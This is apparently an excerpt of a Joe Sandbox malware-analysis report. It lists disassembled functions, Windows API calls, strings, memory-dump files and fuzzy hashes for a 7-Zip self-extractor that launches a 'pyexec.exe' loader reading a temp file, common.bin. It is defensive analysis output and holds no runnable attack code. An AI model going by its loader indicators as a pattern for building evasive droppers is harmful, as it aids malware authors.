Instruction ID: b94e249185ae4a70534d65e1a66e6cdcdba3a47a1e4784fabdbc91f5644b18b3
Opcode Fuzzy Hash: e5c6d40c89fc1f3fb34c79c32c3445fbc861d0d884c7149ba98d4f5b826d618a
Instruction Fuzzy Hash: AFD0C934294201DBDB125FA0EE0E7EA3AB9FB04B0BF458035A920A00F0CBBC9644CA5C

Function 004021B9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,0040223A), ref: 004021CA
GetProcAddress.KERNEL32(00000000), ref: 004021D1

Strings

Wow64DisableWow64FsRedirection, xrefs: 004021C0
kernel32, xrefs: 004021C5

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: 5a0f418ac3e49e57b967c4010738a21a45af66be6bd625357fa5c872d0fae828
Instruction ID: 817513c890d082da38b6284c2862a66e2f32a8da2897575df7e5c1eb8648f331
Opcode Fuzzy Hash: 5a0f418ac3e49e57b967c4010738a21a45af66be6bd625357fa5c872d0fae828
Instruction Fuzzy Hash: 0DD012342443009BDB515FA09E0D7DA3EB4B705B07F508076A520E11D1CBFCA244C7AC

Function 00402A69 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000020,?,?,?,?,?,?,?,?,0040507C,?,00000000), ref: 00402B6F

Part of subcall function 0040272E: MultiByteToWideChar.KERNEL32(00000020,00000000,00000024,?,00000000,?,?,00000020,00000024,00000000,00402ACD,?,?,00000000,00000000,00000000), ref: 00402760

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,0040507C,?,00000000), ref: 00402ADC
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,0040507C,?), ref: 00402AF7
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,0040507C), ref: 00402AFF

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: ae4930b9035af11edc18eb83865398ea889af843cb2bb96c85f7d9ecca2ecb95
Instruction ID: 3903ebf3ba6088976d83fc344d3b185d6a20d7f45533e28e7dbc13297377a7b4
Opcode Fuzzy Hash: ae4930b9035af11edc18eb83865398ea889af843cb2bb96c85f7d9ecca2ecb95
Instruction Fuzzy Hash: 2831B3729041156ACB14FFA6DD81DEFB3BCEF00714B51403FF952B31E1EA38AA458658

Function 00403F85 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00406437,00000000,?,?,00404B63,?,7ZSfx%03x.cmd), ref: 00403FA8
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,00404B63,?,7ZSfx%03x.cmd), ref: 00403FC5
wsprintfW.USER32 ref: 00403FFB
GetFileAttributesW.KERNEL32(?), ref: 00404016

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: 013dbc26b67ec8e4cb6dbc59edbfaa415160c5e99e9f4e95bea1135156e91aed
Instruction ID: 4b01c17e8612d334da970e7aef70975a1f373095b445c13461924cc76c43a46f
Opcode Fuzzy Hash: 013dbc26b67ec8e4cb6dbc59edbfaa415160c5e99e9f4e95bea1135156e91aed
Instruction Fuzzy Hash: 1B113672100204BFCB01AF59CC85AADB7F8FF88755F50802EF905972E1DB78AA008B88

Function 00401A85 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

CharUpperW.USER32(?,7591E0B0,00000000,00000000,?,?,?,00403DBD,00000002), ref: 00401AC3
CharUpperW.USER32(?,?,?,?,00403DBD,00000002), ref: 00401ACF
CharUpperW.USER32(?,?,?,?,00403DBD,00000002), ref: 00401B03
CharUpperW.USER32(?,?,?,?,00403DBD,00000002), ref: 00401B13

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: CharUpper
String ID:
API String ID: 9403516-0
Opcode ID: 18230d7c19ca01b706053a4839b324d461c93759ef2237e6a4782e95e1545131
Instruction ID: 0ba0c8867aa888139ba8faa8f8ff432121b60ad667f2455bf366b55ac651d143
Opcode Fuzzy Hash: 18230d7c19ca01b706053a4839b324d461c93759ef2237e6a4782e95e1545131
Instruction Fuzzy Hash: 02112E34A11269ABCF108F99C8446BAB7E8FF44356B504467F881E3290D77CDE51EB64

Function 00407FA5 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 0040690F: GetDlgItem.USER32(?,?), ref: 0040691B

Part of subcall function 0040692C: GetDlgItem.USER32(?,?), ref: 00406939
Part of subcall function 0040692C: ShowWindow.USER32(00000000,?), ref: 00406950

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00407FED
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040800D
GetDlgItem.USER32(?,000004B7), ref: 00408020
SetWindowLongW.USER32(00000000,000000FC,Function_00006F37), ref: 0040802E

Part of subcall function 00407D06: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,0040803E), ref: 00407D30
Part of subcall function 00407D06: LoadIconW.USER32(00000000), ref: 00407D33
Part of subcall function 00407D06: GetSystemMetrics.USER32(00000032), ref: 00407D43
Part of subcall function 00407D06: GetSystemMetrics.USER32(00000031), ref: 00407D48
Part of subcall function 00407D06: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,0040803E), ref: 00407D51
Part of subcall function 00407D06: LoadImageW.USER32(00000000), ref: 00407D54
Part of subcall function 00407D06: SendMessageW.USER32(?,00000080,00000001,?), ref: 00407D79
Part of subcall function 00407D06: SendMessageW.USER32(?,00000080,00000000,?), ref: 00407D89
Part of subcall function 00407D06: GetWindow.USER32(?,00000005), ref: 00407E76
Part of subcall function 00407D06: GetWindow.USER32(?,00000005), ref: 00407E92

Part of subcall function 004072DD: GetDlgItem.USER32(?,000004B6), ref: 004072EA
Part of subcall function 004072DD: SetFocus.USER32(00000000,?,?,004073B2,000004B6,?), ref: 004072F1

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ItemWindow$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoLongShow
String ID:
API String ID: 2538916108-0
Opcode ID: a74d79fd4605bc1a7757bdbc28ebf3a23631424810f8539fda01f9cd24d05c25
Instruction ID: 9218ed989044434557cb474aaa53437228351995edfdd36a91d94446a14b3a18
Opcode Fuzzy Hash: a74d79fd4605bc1a7757bdbc28ebf3a23631424810f8539fda01f9cd24d05c25
Instruction Fuzzy Hash: 7D1186B1A402146BCB10BBB99D09F9EB7FDEB84B04F00446EB652E31C0D6B8DA008B54

Function 004067ED Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00406814
GetSystemMetrics.USER32(00000031), ref: 0040683A
CreateFontIndirectW.GDI32(?), ref: 00406849
DeleteObject.GDI32(00000000), ref: 00406878

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 5f8418ac61918c0235adc1083e46979a63813a21cc36a9cb80778b220a455722
Instruction ID: e152b01862f646c7a4819b14062263d5307cf72e2961abd6127bac75ebed32e6
Opcode Fuzzy Hash: 5f8418ac61918c0235adc1083e46979a63813a21cc36a9cb80778b220a455722
Instruction Fuzzy Hash: A9116376A00205AFDB10DF94DC88FEAB7B8EB08300F0180AAED06A7291DB74DE54CF54

Function 0040748A Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040749F
SHBrowseForFolderW.SHELL32(?), ref: 004074B8
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 004074D4
SHGetMalloc.SHELL32(00000000), ref: 004074FE

Part of subcall function 004072DD: GetDlgItem.USER32(?,000004B6), ref: 004072EA
Part of subcall function 004072DD: SetFocus.USER32(00000000,?,?,004073B2,000004B6,?), ref: 004072F1

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID:
API String ID: 1557639607-0
Opcode ID: a8285b8de4733da597857d8c27af206edc1c0a360700d70dd9a7d2ed45ada19f
Instruction ID: 30b51fec80d89fd3ac1614d0428bedaa433d1aa4d1a510c8e8bcd0531de43efe
Opcode Fuzzy Hash: a8285b8de4733da597857d8c27af206edc1c0a360700d70dd9a7d2ed45ada19f
Instruction Fuzzy Hash: 43112171A00114ABDB10EBA5DD48BDE77FCAB84715F1040A9E505E7280DB78EF05CB75

Function 004027C7 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,00000000), ref: 004027F8
??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,00000000,00000000), ref: 00402801

Part of subcall function 0040112B: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,00401425,00000003,?,0040502D,?,?,00000000), ref: 0040114B
Part of subcall function 0040112B: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00401425,00000003,?,0040502D,?,?,00000000), ref: 00401171

ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000001,00000001,00000000,?,00000000,00000000,00000000), ref: 00402819
??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,00000000,00000000,00000000), ref: 00402839

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID:
API String ID: 612612615-0
Opcode ID: 1bf054f2ccdc3be335b048ff77a64ac4bdb67295ffe3aca3d2c9ccbf2cc91127
Instruction ID: 71972da321696c7643696fa2d61077c4bfdb6251f9c85b9dd911fab2e4c9aeed
Opcode Fuzzy Hash: 1bf054f2ccdc3be335b048ff77a64ac4bdb67295ffe3aca3d2c9ccbf2cc91127
Instruction Fuzzy Hash: EF017976D00118BADB04AB55DD41DDEB7BCEF48714B10417BF901B31D1EB746A4086A8

Function 00403AB1 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00402D7D: GetWindowTextLengthW.USER32(?), ref: 00402D8E
Part of subcall function 00402D7D: GetWindowTextW.USER32(00402E07,00000000,00000001), ref: 00402DAB

??3@YAXPAX@Z.MSVCRT(?,?,?,00413550,00413558), ref: 00403AFD
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00413550,00413558), ref: 00403B05
SetWindowTextW.USER32(?,?), ref: 00403B12
??3@YAXPAX@Z.MSVCRT(?), ref: 00403B1D

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 8119ca7b33955cbac21e87e4fe12ba773d40effc5d925a3b7e480b00d6a2293b
Instruction ID: 2cc122b1f520d7f8021a056a959bf32eecafdcf33a956e59961b1277582e5a57
Opcode Fuzzy Hash: 8119ca7b33955cbac21e87e4fe12ba773d40effc5d925a3b7e480b00d6a2293b
Instruction Fuzzy Hash: 2EF0FF32D0410DBACF01FBA5DD46CDE7B79EF04705B10406BF501720A1EA79AB559B98

Function 0040702A Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00407045
CreateFontIndirectW.GDI32(?), ref: 0040705B
GetDlgItem.USER32(?,000004B5), ref: 0040706F
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 0040707B

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 78def116b4819d627590729c5baad135a5410a8d7e74f17ad4cec64f2c4de15c
Instruction ID: 5c236ef126686a3da9008926c30106754acf3bfa0ff8e01310dffb34f405da6a
Opcode Fuzzy Hash: 78def116b4819d627590729c5baad135a5410a8d7e74f17ad4cec64f2c4de15c
Instruction Fuzzy Hash: 35F05475900704ABDB209BA4DC09F8B7BFCAB48B01F048139BD51E11D4D7B4E5018B19

Function 00401BA3 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00401BA8
GetWindowRect.USER32(?,?), ref: 00401BC1
ScreenToClient.USER32(00000000,?), ref: 00401BCF
ScreenToClient.USER32(00000000,?), ref: 00401BD6

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: ede60c7992125a9d10b8f8c06fbaeb3be6251aeef84f0c1b655461571a46cee2
Instruction ID: 3a6f634f9500a9f0e676680e31990ed58166cb62974d534a535afb1fb6b8d00a
Opcode Fuzzy Hash: ede60c7992125a9d10b8f8c06fbaeb3be6251aeef84f0c1b655461571a46cee2
Instruction Fuzzy Hash: 09E04F722052116BCB10AFA5AC88C8BBF6DDFC5723700447AF941A2220D7709D109A61

Function 00403C63 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00403C89

Strings

[G@, xrefs: 00403C64, 00403C88
GUIFlags, xrefs: 00403C68

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: _wtol
String ID: GUIFlags$[G@
API String ID: 2131799477-2126219683
Opcode ID: f402b0c85aba1d66b07b6addbe7eda3b1a8910d5e18cf18c534464033b9959d4
Instruction ID: b6302b9691b8fcfec91ee3c39af82f4337802e9cb3a6f407b943601295de961a
Opcode Fuzzy Hash: f402b0c85aba1d66b07b6addbe7eda3b1a8910d5e18cf18c534464033b9959d4
Instruction Fuzzy Hash: 6DF03C3611C1635AFB342E0994187B6AA9CEB05793FE4443BE9C3F12D0C37C8E82825D

Function 00402F10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?O@,?,00000001,004177A0,00000000,00417794,?,?,00404F3F,?,?,?,?,?), ref: 00402F26
GetEnvironmentVariableW.KERNEL32(?,00000000,?,00000001,00000002,?,?,00404F3F,?,?,?,?,?), ref: 00402F52

Strings

?O@, xrefs: 00402F23

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: EnvironmentVariable
String ID: ?O@
API String ID: 1431749950-3511380453
Opcode ID: 0f0cab1a5fe64df75075e876fd7e6a607817ca224d69030a73e0dc08c334b9f4
Instruction ID: 315e17eccb05daff3adc91fa9074d23558c2207180d60d9b2b56ce26dbf77fcb
Opcode Fuzzy Hash: 0f0cab1a5fe64df75075e876fd7e6a607817ca224d69030a73e0dc08c334b9f4
Instruction Fuzzy Hash: 24F06272200118BFDB00AFA9DC458AEB7EDEF88764B51402BF904D72A1D7B4AD008B98

Analysis Process: pyexec.exePID: 7624, Parent PID: 8188COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.1%
Total number of Nodes:	98
Total number of Limit Nodes:	6

Executed Functions

Function 00401CB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000001,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401CE1
LoadLibraryA.KERNELBASE(00000000,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401CEE
GetProcAddress.KERNEL32(00000000,00000000), ref: 00401D14
OutputDebugStringA.KERNEL32(undef symbol,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401D33
__iob_func.MSVCR90 ref: 00401D41
fprintf.MSVCR90 ref: 00401D4B

Strings

undefined symbol %s -> exit(-1), xrefs: 00401D3C
undef symbol, xrefs: 00401D2E

Memory Dump Source

Source File: 0000000E.00000002.2484237975.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2483836590.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000E.00000002.2484315999.0000000000404000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000E.00000002.2484440737.0000000000405000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000E.00000002.2484569039.0000000000407000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_pyexec.jbxd

Similarity

API ID: AddressDebugHandleLibraryLoadModuleOutputProcString__iob_funcfprintf
String ID: undef symbol$undefined symbol %s -> exit(-1)
API String ID: 3232099167-3880521481
Opcode ID: a62e86013865cb6945eca6c9e6b857a4ad3fd4014c4c712411902039301153c0
Instruction ID: ec091370b392768ebba2b9cbd08fa3fa07ccb6f4dd854fbc632097c7e97f4075
Opcode Fuzzy Hash: a62e86013865cb6945eca6c9e6b857a4ad3fd4014c4c712411902039301153c0
Instruction Fuzzy Hash: 9A11E2B16003029FEB216B699C487677798EFD4351F194437EA82F33B0D778DC958A18

Function 00401350 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C:\Users\user\AppData\Local\Temp\common.bin,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00401464,?), ref: 00401365
GetFileSize.KERNEL32(00000000,00401464,?,?,?,00401464,?), ref: 0040137F
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00401392
CloseHandle.KERNEL32(00000000,?,?,?,00401464,?), ref: 004013A1

Strings

C:\Users\user\AppData\Local\Temp\common.bin, xrefs: 00401364

Memory Dump Source

Source File: 0000000E.00000002.2484237975.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2483836590.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000E.00000002.2484315999.0000000000404000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000E.00000002.2484440737.0000000000405000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000E.00000002.2484569039.0000000000407000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_pyexec.jbxd

Similarity

API ID: File$Create$CloseHandleMappingSize
String ID: C:\Users\user\AppData\Local\Temp\common.bin
API String ID: 3089540790-3194547946
Opcode ID: e8d0a1f2787124378ff6857ee086f689d906f27355de188c8710255d9154317e
Instruction ID: 01b989ff9adac1588cbd50fc37617142f0a4378e713b607962af627c2eb096ff
Opcode Fuzzy Hash: e8d0a1f2787124378ff6857ee086f689d906f27355de188c8710255d9154317e
Instruction Fuzzy Hash: B3017172B513107AF63056B8BC4AF9AA798D785B72F21063AFB11FA1D0D6B468005668

Non-executed Functions

Function 6C0B3F10 Relevance: 30.4, APIs: 20, Instructions: 382COMMON

Download Yara Rule

APIs

isalnum.MSVCR90 ref: 6C0B40AE
isalnum.MSVCR90 ref: 6C0B40DB
isalnum.MSVCR90 ref: 6C0B412B
isalnum.MSVCR90 ref: 6C0B4158
_PyUnicodeUCS2_IsAlpha.PYTHON27(?), ref: 6C0B41A3
_PyUnicodeUCS2_IsDecimalDigit.PYTHON27(?), ref: 6C0B41B0
_PyUnicodeUCS2_IsDigit.PYTHON27(?), ref: 6C0B41BD
_PyUnicodeUCS2_IsNumeric.PYTHON27(?), ref: 6C0B41CA
_PyUnicodeUCS2_IsAlpha.PYTHON27 ref: 6C0B41F1
_PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 6C0B41FE
_PyUnicodeUCS2_IsDigit.PYTHON27 ref: 6C0B420B
_PyUnicodeUCS2_IsNumeric.PYTHON27 ref: 6C0B4218
_PyUnicodeUCS2_IsAlpha.PYTHON27(?), ref: 6C0B4257
